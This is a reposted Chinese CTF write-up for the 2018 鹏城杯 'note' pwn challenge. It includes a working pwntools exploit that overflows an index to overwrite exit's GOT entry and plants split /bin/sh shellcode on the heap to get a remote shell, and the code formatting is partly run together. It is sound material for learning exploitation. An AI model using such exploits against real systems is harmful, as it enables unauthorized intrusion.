鹏城杯_2018_note

2023-11-06 05:44
文章标签 note 2018 鹏城

本文主要是介绍鹏城杯_2018_note,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

查看保护,就开了 PIE:

漏洞点:

buf 存在溢出,刚好可以溢出到 idx,而且没有开 PIE 和 FULL RELRO,所以可以修改 idx 去修改相关 got 表项。

然后我就没啥思路了,因为在我的本地环境堆上是没有可执行权限的,然后去网上搜了一下,发现其都说堆上有可执行权限。然后看了下 buu 给的是 ubu18,所以应该是环境的问题,远程堆上应该有可执行权限。 

利用方式:

修改 exit got 表为堆上地址,然后往堆上写入 shellcode,由于写入字节有限,所以 shellcode 得分段写入,exp 如下:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'#io = process("./pwn")
io = remote("node4.buuoj.cn", 29116)
elf = ELF("./pwn")
libc = elf.libcdef debug():gdb.attach(io)pause()sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b''def add(idx, size, data):sl(b'1')sleep(0.02)sl(byte(idx))sleep(0.02)sl(size)sleep(0.02)sl(data)sleep(0.01)pay = b'13'.ljust(10, b'\x00') + p32(0xFFFFFFF8)shellcode = asm("""mov rax,0x0068732f6e69622fjmp $+0x16
""")info("shellcode len", len(shellcode))
add(0, pay, shellcode)shellcode = asm("""push raxmov rdi, rspxor rsi, rsijmp $+0x19
""")
info("shellcode len", len(shellcode))
add(1, b'13\x00', shellcode)shellcode = asm("""xor rdx, rdxmov rax, 0x3bsyscall
""")
info("shellcode len", len(shellcode))
add(2, b'13\x00', shellcode)sl(b'5')#debug()
sh()

远程可以通,而本地堆上无可执行权限,所以打不通:

这篇关于鹏城杯_2018_note的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/354784

相关文章

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

(南京观海微电子)——GH7006 Application Note

Features ⚫ Single chip solution for a WXGA α-Si type LCD display ⚫ Integrate 1200 channel source driver and timing controller ⚫ Display Resolution: ◼ 800 RGB x 480 ◼ 640 RGB x 480 ⚫ Display int

chapter06 面向对象基础 知识点Note

文章目录 前言类的设计 属性和行为对象的内存解析 (堆 栈 方法区)类的成员之一 变量(属性) field类的成员之二 方法 method对象数组方法重载 overload可变个数的形参 语法糖方法的值传递机制递归关键字package importMVC设计模式import导入面向对象特征之一 封装类的成员之三 构造器JavaBeanUML类图 前言 ` 面向对象封装 面向

2018秋招C/C++面试题总结

博主从8月中旬开始大大小小面试了十几家公司,至今也许是告一段落吧,希望后面会有好结果,因此总结记录一些C/C++方向常见的问题。和大家一起学习! 参考了互联网的各种资源,自己尝试归类整理,谢谢~ 一、C和C++的区别是什么? C是面向过程的语言,C++是在C语言的基础上开发的一种面向对象编程语言,应用广泛。 C中函数不能进行重载,C++函数可以重载 C++在C的基础上增添类,C是一个结构

大厂算法例题解之网易2018秋招笔试真题 (未完)

1、字符串碎片 【题目描述】一个由小写字母组成的字符串可以看成一些同一字母的最大碎片组成的。例如,“aaabbaaac” 是由下面碎片组成的:‘aaa’,‘bb’,‘c’。牛牛现在给定一个字符串,请你帮助计算这个字符串的所有碎片的 平均长度是多少。 输入描述: 输入包括一个字符串 s,字符串 s 的长度 length(1 ≤ length ≤ 50),s 只含小写字母(‘a’-‘z’) 输出描述

vulhub GhostScript 沙箱绕过(CVE-2018-16509)

1.执行以下命令启动靶场环境并在浏览器访问 cd vulhub/ghostscript/CVE-2018-16509 #进入漏洞环境所在目录   docker-compose up -d #启动靶场   docker ps #查看容器信息 2.访问网页 3.下载包含payload的png文件 vulhub/ghostscript/CVE-2018-16509/poc.png at

Cmake note

cmake 指定交叉编译工具 指定install安装目录 $CC=arm-linux-uclibcgnueabi-gcc cmake -DCMAKE_INSTALL_PREFIX=./output . $make $make install 删除camke cache文件: find . -iname ‘cmake’ -not -name CMakeLists.txt -exec rm -rf

Python JAVA接口UTC 时间 '2018-08-06T10:00:00.000Z' 格式转化为本地时间

Python JAVA接口UTC 时间 '2018-08-06T10:00:00.000Z' 格式转化为本地时间 方法1 import datetimeorigin_date_str= "2019-07-26T08:20:54Z"utc_date = datetime.datetime.strptime(origin_date_str, "%Y-%m-%dT%H:%M:%SZ")loca

chapter01 Java语言概述 知识点Note

JavaSE JavaEE JavaME 大数据 Java基础常用技术栈 mysql JDBC SSM spring+spring mvc+mybatis Linux nacos Hadoop Flink JAVA EE 消息队列 rabbitMQ docker 数据库 redis spring boot springcloud ssh struts + spring + hiber

chapter03 流程语句 知识点Note

@TOC 分支结构if-else 和 switch-case switch(表达式){case 常量值1:语句块1;//break;case 常量值2:语句块2;//break; // ...[default:语句块n+1;break;]} switch-case 执行过程: 第1步:根据switch中表达式的值,依次匹配各个case。如果表达式的值等于某个case中的常量值,则执行对